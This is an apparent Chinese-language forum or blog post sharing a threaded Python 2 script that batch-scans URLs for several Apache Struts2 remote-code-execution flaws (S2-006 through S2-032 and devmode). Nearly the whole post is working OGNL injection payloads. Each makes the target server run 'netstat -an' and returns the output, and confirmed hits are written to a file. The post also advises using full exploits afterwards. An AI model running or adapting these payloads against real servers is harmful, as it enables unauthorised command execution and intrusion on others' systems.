Struts2批量验证(POC)
only poc , 再据结果利用EXP进一步测试;
支持 -u 单个url; -f 文本批量URL导入
url列表格式是https://www.baidu.com
#! /usr/bin/env python # -*-coding:utf-8-*- import os import sys import Queue import getopt import logging import requests import threading logging.basicConfig( level=logging.WARNING, format="[%(asctime)s] %(message)s" ) def struts2_006(url): headers = {"Content-Type": "application/x-www-form-urlencoded"} exp = '''('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'netstat -an\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))''' try: resp = requests.post(url, data=exp, headers=headers, timeout=10) if "0.0.0.0" in resp.content: return "s2-006" except: return None return None def struts2_009(url): exp = '''?class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%27netstat -an%27%29.getInputStream%28%29%2c%23b%3dnew+java.io.InputStreamReader%28%23a%29%2c%23c%3dnew+java.io.BufferedReader%28%23b%29%2c%23d%3dnew+char[50000]%2c%23c.read%28%23d%29%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23sbtest.println%28%23d%29%2c%23sbtest.close%28%29%29%28meh%29&z[%28class.classLoader.jarPath%29%28%27meh%27%29]''' url += exp try: resp = requests.get(url, timeout=10) if "0.0.0.0" in resp.content: return "s2-009" except: return None return None def struts2_013(url): headers = {"Content-Type": "application/x-www-form-urlencoded"} exp = '''a=1${(%23_memberAccess["allowStaticMethodAccess"]=true,%23a=@java.lang.Runtime@getRuntime().exec('netstat -an').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[50000],%23c.read(%23d),%23sbtest=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23sbtest.println(%23d),%23sbtest.close())}''' try: resp = requests.post(url, data=exp, headers=headers, timeout=10) if "0.0.0.0" in resp.content: return "s2-013" except: return None return None def struts2_016(url): exp = '''?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B'netstat','-an'%7D)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader%20(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D''' url += exp try: resp = requests.get(url, timeout=10) if "0.0.0.0" in resp.content: return "s2-016" except: return None return None def struts2_016_multipart_formdata__special(url): headers = { "Accept-Encoding": "gzip, deflate", "Connection": " Keep-Alive", "Cookie": "", "Content-Type": "multipart/form-data; boundary=------------------------4a606c052a893987", } exp = '''--------------------------4a606c052a893987\r\nContent-Disposition: form-data; name="method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#res=@org.apache.struts2.ServletActionContext@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w=#res.getWriter(),#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?#xx:#request.toString&cmd=netstat -ano&pp=\\A&ppp= &encoding=UTF-8"\r\n\r\n-1\r\n--------------------------4a606c052a893987--''' try: resp = requests.post(url, data=exp, headers=headers, timeout=10) if "0.0.0.0" in resp.content: return "s2-016" except: return None return None def struts2_019(url): headers = {"Content-Type": "application/x-www-form-urlencoded"} exp = '''debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),#req=@org.apache.struts2.ServletActionContext@getRequest(),#resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[10000],#d.read(#e),#resp.println(#e),#resp.close()''' url += exp try: resp = requests.post(url, data=exp, headers=headers, timeout=10) if "0.0.0.0" in resp.content: return "s2-019" except: return None return None def struts2_032(url): headers = {"Content-Type": "application/x-www-form-urlencoded"} exp = '''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=netstat%20-an&pp=\\A&ppp=%20&encoding=UTF-8''' url += exp try: resp = requests.get(url, headers=headers, timeout=10) if "0.0.0.0" in resp.content: return "s2-032" except: return None return None def struts2_devmode(url): headers = {"Content-Type": "application/x-www-form-urlencoded"} exp = '''?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=netstat -an''' url += exp try: resp = requests.get(url, headers=headers, timeout=10) if "0.0.0.0" in resp.content: return "s2-devmode" except: return None return None def struts2_all(url): logging.warning("trying %s" % url) res = struts2_devmode(url) or struts2_032(url) or struts2_019(url) or struts2_016_multipart_formdata__special( url) or struts2_016(url) or struts2_013(url) or struts2_009(url) or struts2_006(url) if res: with open("vuls.txt", "a") as f: f.write("%s is struts2 %s vulnerable!\n" % (url, res)) class BatchThreads(threading.Thread): def __init__(self, queue): super(BatchThreads, self).__init__() self.queue = queue def run(self): while True: if self.queue.empty(): break else: try: url = self.queue.get() struts2_all(url) except: break def batch_queue(_file, _queue, _thread_number): with open(_file) as f: urls = [line.strip() for line in f.readlines()] urls = set(filter(lambda url: url and not url.startswith("#"), urls)) if urls: for url in urls: queue.put(url) if _thread_number > (queue.qsize() / 2): _thread_number = (queue.qsize()) for _ in xrange(_thread_number): threads.append(BatchThreads(_queue)) for t in threads: t.start() for t in threads: t.join() def usage(): print '''Usage: python %s [option] All Struts2 Vulnerable Test -h scan a single host -f scan from a file ''' % os.path.basename(sys.argv[0]) if __name__ == '__main__': global threads threads = [] queue = Queue.Queue() thread_number = 20 if not len(sys.argv[1:]): exit(usage()) try: opts, args = getopt.getopt(sys.argv[1:], 'u:f:') except getopt.GetoptError as err: exit(usage()) else: for name, value in opts: if name == '-u': struts2_all(value) if name == '-f': batch_queue(value, queue, thread_number)
update